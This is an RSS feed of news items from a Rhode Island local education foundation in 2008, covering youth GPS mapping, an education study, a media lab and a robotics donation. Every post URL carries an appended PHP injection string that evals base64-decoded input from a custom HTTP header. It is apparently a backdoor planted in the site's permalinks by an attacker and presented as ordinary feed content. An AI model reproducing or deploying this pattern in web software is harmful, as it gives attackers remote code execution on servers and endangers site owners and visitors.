http://www.clefri.org Local Education Foundation Wed, 09 Apr 2008 20:54:43 +0000 http://backend.userland.com/rss092 en At its last board meeting, CLEF voted to support a new "Youth Mapping" program created by the OCYL.  Youth Mapping involves teaching young people how to collect data in their community using handheld Global Positioning Satellite (GPS) trackers and then use that data to make multi-layered interactive digital maps (known ... http://www.clefri.org/2008/03/20/cumberland-youth-mapping-gets-a-boost-from-clef-and-uri/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Six months ago CLEF began raising funds for a study and action plan on Rhode Island public education commissioned by Mayor Daniel McKee and other mayors and town administrators in the Coalition of Communities Improving Rhode Island. We raised nearly $40,000 to support the plan. Public Impact, a ... http://www.clefri.org/2008/03/06/the-mayoral-academy-plan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ CLEF is a proud supporter of many programs and initiatives of the Cumberland Office of ChildrenYouth and Learning. This video describes the OCYL's highly successful first year in existence. [googlevideo]http://video.google.com/videoplay?docid=1410190516945983820[/googlevideo] http://www.clefri.org/2008/03/05/clef-supports-the-ocyl/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The OCYL Digital Media Lab -- a CLEF funded organization equipped with professional Digital Video shooting and editing equipment, shot some great footage of the new Early Childhood Literacy Program offered by the Cumberland OCYL. Have a look: [googlevideo]http://video.google.com/videoplay?docid=-587005103038345730[/googlevideo] The Digital Media Lab will oversee a host of OCYL programs and projects in Digital ... http://www.clefri.org/2008/01/22/test-post-number-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The Cumberland Office of Children Youth and Learning will be discussing its "Green Cumberland" environmental science programs and projects with the CLEF Board of Directors at a future meeting. We're looking forward to it! http://www.clefri.org/2008/01/14/capital-campagin-reach-for-the-stars/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Earlier this year we funded the purchase of a state-of-the-art student Robotics kit for use by the Cumberland High School Robotics Team.  We requested that, in exchange, those high school students particpate in a mentoring program with younger students interested in robotics.  The high schoolers and their coaches, along with ... http://www.clefri.org/2008/01/10/hello-world/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/